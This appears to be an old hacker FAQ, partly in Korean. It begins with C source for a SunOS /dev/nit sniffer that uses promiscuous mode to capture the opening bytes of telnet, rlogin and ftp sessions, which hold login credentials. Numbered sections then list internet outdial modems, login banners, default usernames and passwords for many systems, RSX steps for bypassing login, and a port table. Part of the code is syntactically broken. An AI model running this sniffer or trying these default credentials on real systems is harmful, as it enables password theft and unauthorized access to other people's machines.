#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
                 *Last;
     time_t  Time;              /* start time */
     struct in_addr SRCip,
                    DSTip;
     u_int   SRCport,           /* src/dst ports */
             DSTport;
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}

char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

   } else {

      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

   }

   IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;

    ProgName=argv[0];

 /*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
                      break;
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
                      break;
            case 'B': backg=1;
                      break;
            case 'D': debug=1;
                      break;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
                            ProgName);
                      exit(1);
       }
    }

    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        close(s);
        device = ifc.ifc_req->ifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
        LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    if(backg) {
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
           exit(0);
        } else if(s<0)
           Pexit(1,"fork");

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
        }
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
}

18.internet outdial은 무엇인가?
Internet outdial은 인터넷에 물려 있으면서,사용자가 이용할 수 있는 모뎀을 의미한다.
Normal outdials은 해당  지역에만 국한되지만,GOD(Global OutDial)은 지역에  제한을 받지 않는
다. 이러한 방법은 멀리 떨어진 BBS에 접속하는 매우 경제적인 방법이다.

19.internet outdial에는 무엇이 있는가?
Area    Address(s)                      Command(s)
------  ------------------------------- ---------------------
201     128.112.88.0
        128.112.88.1
        128.112.88.2
        128.112.88.3
204     umnet.cc.manitoba.ca            "dial12" or "dial24"
206     dialout24.cac.washington.edu
215     wiseowl.ocis.temple.edu         atz
                                        atdt 9xxxyyyy
        129.72.1.59                     hayes compat
218     aa28.d.umn.edu                  cli
                                        rlogin modem
                                        at "login:" type
                                        "modem"
        modem.d.umn.edu                 "Hayes"
232     isn.rdns.iastate.edu            MODEM              [Works!!]
                                        atz
                                        atdt8xxx-xxxx
303     129.82.100.64                   login: modem       [need password!]
307     modem.uwyo.edu
        129.72.1.59                     hayes compat
313     35.1.1.6                        "dial2400-aa" or   [can't connect]
                                        "dial1200-aa"
315     198.36.22.3                     "modem"
404     emory.edu                       .modem8 or
                                        .dialout
        broadband.cc.emory.edu          .modem8 or
                                        .dialout
        128.140.1.239                   .modem8|CR
                                        or .modem96|CR
412     gate.cis.pitt.edu               LAT
                                        connect dialout
                                        ^E
                                        atdt 91k xxx-xxxx
415     128.32.132.250                  "dial1" or "dial2"
416     pacx.utcs.utoronto.ca           modem
                                        atdt 9xxx-xxxx
502     uknet.uky.edu                   outdial2400
                                        atdt 9xxx-xxxx
510     annex132-1.eecs.berkeley.edu    atdt 9,,,,, xxx-xxxx
514     132.204.2.11                    externe#9 9xxx-xxxx
515     isn.rdns.iastate.edu            login MODEM
                                        dial atdt8xxx-yyyy
602     129.219.17.3                    atdt8,,,,,xyyyxxxyyyy
        129.219.17.3                    login: MODEM
                                        atdt 8xxx-xxxx
609     129.72.1.59                     "Hayes"
        128.119.131.110                 "Hayes"
        128.119.131.111
        128.119.131.112
        128.119.131.113
        128.119.131.114
        128.112.131.110
        128.112.131.111
        128.112.131.112
        128.112.131.113
        128.112.131.114                 the above are hayes
614     ns2400.ircc.ohio-state.edu      DIAL               [can't connect]
615     dca.utk.edu                     "dial2400"
617     dialout.lcs.mit.edu
619     dialin.ucsd.edu                 "dialout"
        128.54.30.1                     nue
713     128.143.70.101                  "connect hayes"
        128.249.27.154                  c modem96
                                        atdt 9xxx-xxxx
        128.249.27.153                  " -+ as above +- "
        modem24.bcm.tmc.edu
        modem12.bcm.tmc.edu
714     130.191.4.70                    atdt 8xxx-xxxx
804     ublan.acc.virginia.edu          c hayes
        128.143.70.101                  connect hayes
                                        atdt xxx-xxxx
902     star.ccs.tuns.ca                "dialout"          [down...]
916     128.120.2.251                   "dialout"          [down...]
        129.137.33.72                                      [can't connect]
???     dialout1.princeton.edu                             [can't connect]
        dswitch.byu.edu                 "C Modem"          [can't connect]
        modem.cis.uflu.edu                                 [can't connect]
        r596adi1.uc.edu                                    [can't connect]
        vtnet1.cns.ut.edu               "CALL" or "call"   [can't connect]
        18.26.0.55                                         [can't connect]
        128.173.5.4                                        [need password!]
        128.187.1.2                                        [need password!]
        129.137.33.71                                      [can't connect]
        bstorm.bga.com / port=4000                         [what is this?]

20.이 시스템은 어떤것들인가?
다음은 각 시스템들의 로그인 화면이다.
AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:

[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]
[screen]


AS/400
~~~~~~
UserID?
Password?

Once in, type GO MAIN


CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730.                     NOS 2.5.2-678/3.
FAMILY:

You would normally just hit return at the family prompt.  Next prompt is:

USER NAME:


CISCO Router
~~~~~~~~~~~~
                             FIRST BANK OF TNO
                           95-866 TNO VirtualBank
                          REMOTE Router -  TN043R1

                                Console Port

                                SN - 00000866

TN043R1>


DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>


Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP]   (CIERR 1424)
MPE XL:


GTN
~~~
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX

@
PASSWORD =

@

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->

CITICORP (CITY NAME). KEY GHELP FOR HELP.
  XXX.XXX
 PLEASE SELECT SERVICE REQUIRED.-3->


Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>


Meridian Mail (Northern Telecom Phone/Voice Mail System)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                            MMM       MM MERIDIAN
                           MMMMM     MMMMM
                         MMMMMM   MMMMMM
                        MMM  MMMMM  MMM     MMMMM     MMMMM
                      MMM   MMM   MMM     MMMMMM   MMMMMM
                     MMM         MMM     MMM MMM MMM MMM
                    MMM         MMM     MMM  MMMMM  MMM
                   MMM         MMM     MMM   MMM   MMM
                  MMM         MMM     MMM         MMM
                 MMM         MMM     MMM         MMM
                MMM         MMM     MMM         MMM
               MMM         MMM     MMM         MMM
              MMM         MMM     MMM         MMM

                                          Copyright (c) Northern Telecom, 1991


Novell ONLAN
~~~~~~~~~~~~
 N

[To access the systems it is best to own a copy of ONLAN/PC]


PC-Anywhere
~~~~~~~~~~~
 P

[To access the systems it is best to own a copy of PCAnywhere Remote]


PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1

<any text>

ER!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CONNECT
Primenet V 2.3  (system)
LOGIN           (you)
User id?        (system)
SAPB5           (you)
Password?       (system)
DROWSAP         (you)
OK,             (system)


ROLM-OSL
~~~~~~~~
MARAUDER10292  01/09/85(^G) 1 03/10/87  00:29:47
RELEASE 8003
OSL, PLEASE.
?


System75
~~~~~~~~
Login: root
INCORRECT LOGIN

Login: browse
Password:

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]


Tops-10
~~~~~~~
NIH Timesharing

NIH Tri-SMP 7.02-FF  16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.


VM/370
~~~~~~
VM/370
!


VM/ESA
~~~~~~
VM/ESA ONLINE

                                          TBVM2 VM/ESA Rel 1.1     PUT 9200

Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID   ===>
PASSWORD ===>

COMMAND  ===>


Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter   *   Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait...
Annex username: TNO
Annex password:

Permission granted
annex:

21.각 시스템에 따른 어카운트는 무엇인가?
AIX
~~~
guest           guest


AS/400
~~~~~~
qsecofr         qsecofr         /* master security officer */
qsysopr         qsysopr         /* system operator         */
qpgmr           qpgmr           /* default programmer      */

also

ibm/password
ibm/2222
ibm/service
qsecofr/1111111
qsecofr/2222222
qsvr/qsvr
secofr/secofr


DECserver
~~~~~~~~~
ACCESS
SYSTEM


Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO           MANAGER.SYS
HELLO           MGR.SYS
HELLO           FIELD.SUPPORT     HPUNSUP or SUPPORT or HP
HELLO           OP.OPERATOR
MGR             CAROLIAN
MGR             CCC
MGR             CNAS
MGR             CONV
MGR             COGNOS
OPERATOR        COGNOS
MANAGER         COGNOS
OPERATOR        DISC
MGR             HPDESK
MGR             HPWORD
FIELD           HPWORD
MGR             HPOFFICE
SPOOLMAN        HPOFFICE
ADVMAIL         HPOFFICE
MAIL            HPOFFICE
WP              HPOFFICE
MANAGER         HPOFFICE
MGR             HPONLY
FIELD           HPP187
MGR             HPP187
MGR             HPP189
MGR             HPP196
MGR             INTX3
MGR             ITF3000
MANAGER         ITF3000
MAIL            MAIL
MGR             NETBASE
MGR             REGO
MGR             RJE
MGR             ROBELLE
MANAGER         SECURITY
MGR             SECURITY
FIELD           SERVICE
MANAGER         SYS
MGR             SYS
PCUSER          SYS
RSBCMON         SYS
OPERATOR        SYS
OPERATOR        SYSTEM
FIELD           SUPPORT
OPERATOR        SUPPORT
MANAGER         TCH
MAIL            TELESUP
MANAGER         TELESUP
MGR             TELESUP
SYS             TELESUP
MGE             VESOFT
MGE             VESOFT
MGR             WORD
MGR             XLSERVER

Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote


Major BBS
~~~~~~~~~
Sysop           Sysop


PICK O/S
~~~~~~~~
DSA             # Desquetop System Administrator
DS
DESQUETOP
PHANTOM


Prolog
~~~~~~
PBX             PBX
NETWORK         NETWORK
NETOP           <null>


Rolm
~~~~
CBX Defaults

op              op
op              operator
su              super
admin           pwp
eng             engineer


PhoneMail Defaults

sysadmin        sysadmin
tech            tech
poll            tech


RSX
~~~
SYSTEM/SYSTEM   (Username SYSTEM, Password SYSTEM)
1,1/system      (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER

Default accounts for Micro/RSX:

                MICRO/RSX

Alternately you can hit <CTRL-Z>  when the boot sequence asks you for the
date and create an account using:

                RUN ACNT
            or  RUN $ACNT

(Numbers below 10 {oct} are Priveleged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.

type " run $acnt" and change the password of any account with a group
number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system,
just after a invalid date-time.  Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system.  This will hopefully result in indirect blowing
up...  And hopefully the system has not been fully secured.


System 75
~~~~~~~~~
bcim            bcimpw
bciim           bciimpw
bcms            bcmspw, bcms
bcnas           bcnspw
blue            bluepw
browse          looker, browsepw
craft           crftpw, craftpw, crack
cust            custpw
enquiry         enquirypw
field           support
inads           indspw, inadspw, inads
init            initpw
kraft           kraftpw
locate          locatepw
maint           maintpw, rwmaint
nms             nmspw
rcust           rcustpw
support         supportpw
tech            field


Taco Bell
~~~~~~~~~
rgm             rollout
tacobell        <null>


Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816


VMS
~~~
field           service
systest         utep

22.각 포트에서 행해지는 작업은 무엇인가?
유닉스상의 /etc/services 파일은 각 port에서 일어나는 일들이 기록되어 있다.
다음은 실제로 존재하는 가장 완벽한 port목록이다.

Keyword         Decimal    Description
-------         -------    -----------
                  0/tcp    Reserved
                  0/udp    Reserved
tcpmux            1/tcp    TCP Port Service Multiplexer
tcpmux            1/udp    TCP Port Service Multiplexer
compressnet       2/tcp    Management Utility
compressnet       2/udp    Management Utility
compressnet       3/tcp    Compression Process
compressnet       3/udp    Compression Process
                  4/tcp    Unassigned
                  4/udp    Unassigned
rje               5/tcp    Remote Job Entry
rje               5/udp    Remote Job Entry
                  6/tcp    Unassigned
                  6/udp    Unassigned
echo              7/tcp    Echo
echo              7/udp    Echo
                  8/tcp    Unassigned
                  8/udp    Unassigned
discard           9/tcp    Discard
discard           9/udp    Discard
                 10/tcp    Unassigned
                 10/udp    Unassigned
systat           11/tcp    Active Users
systat           11/udp    Active Users
                 12/tcp    Unassigned
                 12/udp    Unassigned
daytime          13/tcp    Daytime
daytime          13/udp    Daytime
                 14/tcp    Unassigned
                 14/udp    Unassigned
                 15/tcp    Unassigned [was netstat]
                 15/udp    Unassigned
                 16/tcp    Unassigned
                 16/udp    Unassigned
qotd             17/tcp    Quote of the Day
qotd             17/udp    Quote of the Day
msp              18/tcp    Message Send Protocol
msp              18/udp    Message Send Protocol
chargen          19/tcp    Character Generator
chargen          19/udp    Character Generator
ftp-data         20/tcp    File Transfer [Default Data]
ftp-data         20/udp    File Transfer [Default Data]
ftp              21/tcp    File Transfer [Control]
ftp              21/udp    File Transfer [Control]
                 22/tcp    Unassigned
                 22/udp    Unassigned
telnet           23/tcp    Telnet
telnet           23/udp    Telnet
                 24/tcp    any private mail system
                 24/udp    any private mail system
smtp             25/tcp    Simple Mail Transfer
smtp             25/udp    Simple Mail Transfer
                 26/tcp    Unassigned
                 26/udp    Unassigned
nsw-fe           27/tcp    NSW User System FE
nsw-fe           27/udp    NSW User System FE
                 28/tcp    Unassigned
                 28/udp    Unassigned
msg-icp          29/tcp    MSG ICP
msg-icp          29/udp    MSG ICP
                 30/tcp    Unassigned
                 30/udp    Unassigned
msg-auth         31/tcp    MSG Authentication
msg-auth         31/udp    MSG Authentication
                 32/tcp    Unassigned
                 32/udp    Unassigned
dsp              33/tcp    Display Support Protocol
dsp              33/udp    Display Support Protocol
                 34/tcp    Unassigned
                 34/udp    Unassigned
                 35/tcp    any private printer server
                 35/udp    any private printer server
                 36/tcp    Unassigned
                 36/udp    Unassigned
time             37/tcp    Time
time             37/udp    Time
                 38/tcp    Unassigned
                 38/udp    Unassigned
rlp              39/tcp    Resource Location Protocol
rlp              39/udp    Resource Location Protocol
                 40/tcp    Unassigned
                 40/udp    Unassigned
graphics         41/tcp    Graphics
graphics         41/udp    Graphics
nameserver       42/tcp    Host Name Server
nameserver       42/udp    Host Name Server
nicname          43/tcp    Who Is
nicname          43/udp    Who Is
mpm-flags        44/tcp    MPM FLAGS Protocol
mpm-flags        44/udp    MPM FLAGS Protocol
mpm              45/tcp    Message Processing Module [recv]
mpm              45/udp    Message Processing Module [recv]
mpm-snd          46/tcp    MPM [default send]
mpm-snd          46/udp    MPM [default send]
ni-ftp           47/tcp    NI FTP
ni-ftp           47/udp    NI FTP
                 48/tcp    Unassigned
                 48/udp    Unassigned
login            49/tcp    Login Host Protocol
login            49/udp    Login Host Protocol
re-mail-ck       50/tcp    Remote Mail Checking Protocol
re-mail-ck       50/udp    Remote Mail Checking Protocol
la-maint         51/tcp    IMP Logical Address Maintenance
la-maint         51/udp    IMP Logical Address Maintenance
xns-time         52/tcp    XNS Time Protocol
xns-time         52/udp    XNS Time Protocol
domain           53/tcp    Domain Name Server
domain           53/udp    Domain Name Server
xns-ch           54/tcp    XNS Clearinghouse
xns-ch           54/udp    XNS Clearinghouse
isi-gl           55/tcp    ISI Graphics Language
isi-gl           55/udp    ISI Graphics Language
xns-auth         56/tcp    XNS Authentication
xns-auth         56/udp    XNS Authentication
                 57/tcp    any private terminal access
                 57/udp    any private terminal access
xns-mail         58/tcp    XNS Mail
xns-mail         58/udp    XNS Mail
                 59/tcp    any private file service
                 59/udp    any private file service
                 60/tcp    Unassigned
                 60/udp    Unassigned
ni-mail          61/tcp    NI MAIL
ni-mail          61/udp    NI MAIL
acas             62/tcp    ACA Services
acas             62/udp    ACA Services
via-ftp          63/tcp    VIA Systems - FTP
via-ftp          63/udp    VIA Systems - FTP
covia            64/tcp    Communications Integrator (CI)
covia            64/udp    Communications Integrator (CI)
tacacs-ds        65/tcp    TACACS-Database Service
tacacs-ds        65/udp    TACACS-Database Service
sql*net          66/tcp    Oracle SQL*NET
sql*net          66/udp    Oracle SQL*NET
bootps           67/tcp    Bootstrap Protocol Server
bootps           67/udp    Bootstrap Protocol Server
bootpc           68/tcp    Bootstrap Protocol Client
bootpc           68/udp    Bootstrap Protocol Client
tftp             69/tcp    Trivial File Transfer
tftp             69/udp    Trivial File Transfer
gopher           70/tcp    Gopher
gopher           70/udp    Gopher
netrjs-1         71/tcp    Remote Job Service
netrjs-1         71/udp    Remote Job Service
netrjs-2         72/tcp    Remote Job Service
netrjs-2         72/udp    Remote Job Service
netrjs-3         73/tcp    Remote Job Service
netrjs-3         73/udp    Remote Job Service
netrjs-4         74/tcp    Remote Job Service
netrjs-4         74/udp    Remote Job Service
                 75/tcp    any private dial out service
                 75/udp    any private dial out service
                 76/tcp    Unassigned
                 76/udp    Unassigned
                 77/tcp    any private RJE service
                 77/udp    any private RJE service
vettcp           78/tcp    vettcp
vettcp           78/udp    vettcp
